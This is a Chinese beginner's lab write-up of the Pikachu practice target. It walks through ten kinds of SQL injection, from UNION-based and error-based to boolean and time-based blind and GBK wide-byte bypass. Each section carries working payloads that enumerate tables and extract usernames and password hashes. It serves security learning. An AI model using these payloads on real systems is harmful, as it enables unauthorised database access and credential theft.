小白入门靶机-Pikachu之SQL注入

  • A+
所属分类:安全文章
00
前言


owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;

2.使用参数化(Parameterized Query 或 Parameterized Statement);

3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!


01
数字型注入


小白入门靶机-Pikachu之SQL注入

漏洞分析

经过一系列实验分析,得出本关有以下两点结论:

1. POST的请求方式,  与常规的GET方式不同(GET更容易受到攻击)

2. 前端还通过下拉菜单选择的方式来查询,  限制了用户的输入

针对上面两点特点, 依次分析:

第一,  由于是POST型的,  那么我们可以通过抓包来修改id值,  再post给服务器即可;

第二,  虽然前端限制了用户的输入,  但还是可以通过抓包来任意修改id的值。

再思考一下服务端怎么进行查询操作:

用户将id值post给服务器, 服务器接受到id值之后, 进行到数据库查询, 返回id值对应的用户名和邮箱。那么查询语句可能是:

SELECT * FROM users WHERE id=$id;  // 整数型

或者是

SELECT * FROM users WHERE id='$id';  // 字符型

 实战验证:

抓包,修改参数分别输入参数

1 and 1 = 1

1 and 1 = 2

发现输入参数1的时候,页面返回正常;输入参数2的时候,发现查询失败, 注入的语句被执行了 (因为1=2为假, 又为and连接, 所以sql语句的where是不成立的)

综上所述,可以确定该漏洞为整数型sql注入漏洞。既然已经知道了该漏洞的类型,那么可以来试试怎么来利用它。首先若想要进行sql渗透,就先来判断字段到底是多少。

1 order by 2

为什么order by 2 ,是因为orber by 1的时候页面显示正常,order by 10的时候页面错误,说明字段是在1~10之间,用这个方法慢慢推断字段到底是多少。

得到了字段,接下来可以用union联合查询语句查看当前使用的用户、数据库

1 union select user(),database()

小白入门靶机-Pikachu之SQL注入

爆到了数据库之后,可以开始爆该数据库下所有的表

1 union selectdatabase(),group_concat(table_name) from information_schema.tables wheretable_schema=database()

小白入门靶机-Pikachu之SQL注入

成功爆出列之后,我们就可以来爆值了,这里我们只爆用户名和密码就可以了吧

1 union selectdatabase(),group_concat(username,'~~~',password) from pikachu.users

小白入门靶机-Pikachu之SQL注入

成功爆出账号密码,密码是md5加密。用md5解密即可知道密码是123456


02
字符型注入


小白入门靶机-Pikachu之SQL注入

这次是GET型, 相对没有POST型那么安全。

漏洞分析

由于本题是字符串型注入,所以在查询语句中需要有单引号。猜测处理的SQL查询语句为:

SELECT * FROM users WHEREusername='$username';

如果没有对单引号进行过滤处理的话, 这样的sql语句很容易被闭合绕过而加入新的恶意语句,比如, 当username值为: kobe' and1=1 #  这样就很容易成功注入一句全真语句。其实整数型和字符型的查询语句相差不大,只是字符型的语句多了单引号,所以只要构造payload闭合掉前面单引号和注射掉后面的单引号就可以成功注入。跟上面的步骤一样,我们需要获取到该页面的字段:

kobe' order by 2 #

为什么是2不再次解释。

实战验证:

得到了字段之后,我们可以来爆库

kobe' union select user(),database()#

小白入门靶机-Pikachu之SQL注入得到库名为pikachu之后,我们可以来将其表名也给爆出来:

kobe' union selectdatabase(),group_concat(table_name) from information_schema.tables wheretable_schema=database() #

小白入门靶机-Pikachu之SQL注入

爆出表名之后,爆列,选择users

kobe' union selectdatabase(),group_concat(column_name) from information_schema.columns wheretable_schema=database() and table_name='users' #

小白入门靶机-Pikachu之SQL注入

成功爆列之后,爆值。

kobe' union selectdatabase(),group_concat(username,'~',password) from pikachu.users#

小白入门靶机-Pikachu之SQL注入


03
搜索型注入


小白入门靶机-Pikachu之SQL注入

漏洞分析:

本关是搜索型注入,常见是使用like进行查找搜索,数据库的搜索语句一般是

select * from 表名where username like '%$name%'

所以只需要闭合掉前面的 '% 和后面的 %‘ 即可成功注入

实战验证:

首先我们还是得来判断它的字段

a%' order by 3#

然后获取当前数据库

a%' union select 1,user(),database()#

小白入门靶机-Pikachu之SQL注入

接下来的步骤跟前面的操作一致


04

xx型注入


小白入门靶机-Pikachu之SQL注入

漏洞分析:

所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等),我们先输入常见的单引号:

小白入门靶机-Pikachu之SQL注入发现报错了,观察可推测出数据库的查询语句为

select * from users where username=('$name');

实战验证:

还是一样的步骤,先获取当前页面的字段,然后爆库、表、列、值

给个爆字段的给参考,后续的步骤一样就不多加以赘述。

kobe') order by 2#


05
insert/update 注入

 

小白入门靶机-Pikachu之SQL注入这关需要注册账号

漏洞分析:

产生insert/update注入,是因为在用户注册和更新信息的时候存在注入点。

这里先分析insert注入,insert注入存在于用户注册时候的过程,当用户注册新信息并提交服务器的时候, 服务端采用insert来将信息插入数据库:

由此得知sql语句可能为:

insert into users(username,password)values($username,$password);

当update时, 也是如此:

update users set username=$username,password=$password where username=$username;
实战验证:

已经推测到数据库查询语法,接下来可以一把梭。

首先先来到注册点,寻找功能点,我们可以在账号处加个单引号看看。

小白入门靶机-Pikachu之SQL注入

submit一下小白入门靶机-Pikachu之SQL注入

可以看到数据库查询语句的报错。此时可以根据报错提示的信息更新下insert的查询语法:

insert into users(username,password)values('$username','$password');
已经可以确定注入点,接下来我们使用extractvalue() 来进行报错注入:

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串).

作用:从目标XML中返回包含所查询值的字符串

能够用于注入是因为,当xpath不符合语法时该语句会报错XPATH syntax error:(注入信息), 故可以将待查询的信息放入xpath中,通过报错回显出来。

构造payload

rookie' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '

小白入门靶机-Pikachu之SQL注入

成功爆库之后爆表

rookie’ or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tableswhere table_schema=database()),0x7e)) or

小白入门靶机-Pikachu之SQL注入

之后步骤跟上面一致。不加以赘述,感兴趣的小伙伴自行构造payload。

 
06
delete注入


漏洞分析:

delete其实跟 insert/update 注入,都是利用报错进行注入。发现在删掉留言的时候抓包,能够将该留言的id给抓取下来。那么我们就可以做到半路拦截这个id,然后利用这个id作一个报错注入。

实战验证:

小白入门靶机-Pikachu之SQL注入

截取到数据包,在id处进行注入

and extractvalue(1, concat(0x7e,(selectdatabase()),0x7e))

小白入门靶机-Pikachu之SQL注入

成功执行,接下来的步骤跟上一部分一样,不多加赘述。


07

http头注入


一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。

漏洞分析:

输入账号密码登入之后,点击退出的同时抓取包,将User-Agent和Accept随便换成一个值,并在后面加上单引号

小白入门靶机-Pikachu之SQL注入

小白入门靶机-Pikachu之SQL注入

发现数据库能够有报错回显,上面截图因为都是6+单引号,所以分不清到底是User-Agent和Accep哪个可以注入,还是都可以。但经过后续实验,推出只有Accep可以进行注入。于是一把梭:

实战验证:

在Accep处进行注入

' or updatexml(1, concat(0x7e,database()), 0) or '

小白入门靶机-Pikachu之SQL注入

小白入门靶机-Pikachu之SQL注入

爆完库之后报表,步骤跟上面的一样,不多赘述。


08

布尔盲注



在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”

也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行, 事实上, 现在很多网站也都是盲注类型。

漏洞分析:

这边我们知道, 用户名肯定是字符型, 所以注入类型也肯定是字符型

输入payload:

kobe' and 1 = 1 #  页面正常

kobe' and 1 = 2 #  页面错误

证明存在注入点

实战验证:

在布尔盲注的过程中, 使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等。比如, 假如我们要爆数据库名, 得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符,为什么要采取这么麻烦的方式呢?因为页面不存在报错, 无法直接通过报错+联合查询注入得知, 所以只能一点点通过页面是否正确来判断。

爆数据库长度

kobe' and length(database())>10#  ==>   页面错误kobe' and length(database())>5 #   ==>  页面正确 kobe' and length(database())>8 #   ==>  页面错误kobe' and length(database())>6 #   ==>  页面正确 kobe' and length(database())=7 #   ==>  页面正确

推出数据库长度为7

爆数据库的每一位字符

第一个字符:

kobe' andascii(mid(database(),1,1))>115 # ==> 页面错误kobe' andascii(mid(database(),1,1))>110 # ==> 页面正确
kobe' andascii(mid(database(),1,1))>112 # ==> 页面错误kobe' and ascii(mid(database(),1,1))=112# ==> 页面正确

推出第一个字符的ascii码为112,对应字符为p。
依次爆字符,推出数据库的名字为pikachu。

爆数据库的所有表个数

kobe' and (select count(table_name) frominformation_schema.tables where table_schema=database())>5 #  ==> 页面错误kobe' and (select count(table_name) frominformation_schema.tables where table_schema=database())=5 #  ==> 页面正确

推出有七个表之后,开始爆表名

先爆第一个表的长度:

kobe' and length((select table_name frominformation_schema.tables where table_schema=database() limit 0,1))=8 #  ==> 页面正确

说明存在着八位字符,那么先来爆第一个字符

kobe' and ascii(mid((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1,1))=104 #  ==>  页面正确

得到第一表的第一字符为h, 然后依次得到第一个表为httpinfo

爆指定表的字段个数
假如我们现在要爆users表的字段个数:

kobe' and (select count(column_name)from information_schema.columns where table_schema=database() andtable_name='users')=4 #  页面返回正常

由此可知字段个数为4

接着爆第一个字段的长度:

kobe' and length((select column_namefrom information_schema.columns where table_schema=database() and table_name='users'limit 0,1))=2 # 页面返回正常

以此类推 ,然后爆第一个字符

kobe' and ascii(mid((select column_namefrom information_schema.columns where table_schema=database() and table_name='users'limit 0,1),1,1))=105 #

得出ascii码为105,对应i,用这个思路逐步爆破


09



时间盲注


跟布尔盲注基本上大同小异,但是是利用了sleep这个函数,如果成功执行了,就延时xxxx秒

漏洞分析:

小白入门靶机-Pikachu之SQL注入

本题不管你输入什么,都是一样的回显,这就是经典的延时注入。开搞

实战验证:

kobe' and sleep(5)#

小白入门靶机-Pikachu之SQL注入

可以清楚地看到,的的确确延时了5秒,说明存在该漏洞。

获取数据库的长度

kobe' andsleep(if(length(database())>7,0,3)) #  ==>  延时kobe' and sleep(if(length(database())=7,0,3))#   ==>  不延时

说明数据库长度为7。
接下来的payload跟布尔盲注的差不多,不多加演示,感兴趣的童鞋可以自己探讨钻研。

 

10



宽字节注入


漏洞分析:

GBK 占用两字节,ASCII占用一字节,PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“”),MYSQL默认字符集是GBK等宽字节字符集。大家都知道%df’被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠,变成了 %df’,其中的十六进制是 %5C ,那么现在 %df’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df’ =%df%5c%27=縗’,有了单引号就好注入了。

实战验证:

构造payload过滤掉他的转义

kobe%df' or 1=1#

小白入门靶机-Pikachu之SQL注入

发现输入的参数不成功,深入研究发现,这玩意还是个post类型传输!~
不打紧不打紧,咱就搞个bp抓抓包怼他就好了。

小白入门靶机-Pikachu之SQL注入

小白入门靶机-Pikachu之SQL注入

成功怼进去了,先报表爆库什么的,可以参考上面的信息


END



这是学渣成长之路的第十三篇文章,希望能够帮助到正在学习的入门者们,一起加油吧!



需要靶机的小伙伴公众号回复“00002”

本文始发于微信公众号(学渣成长之路):小白入门靶机-Pikachu之SQL注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: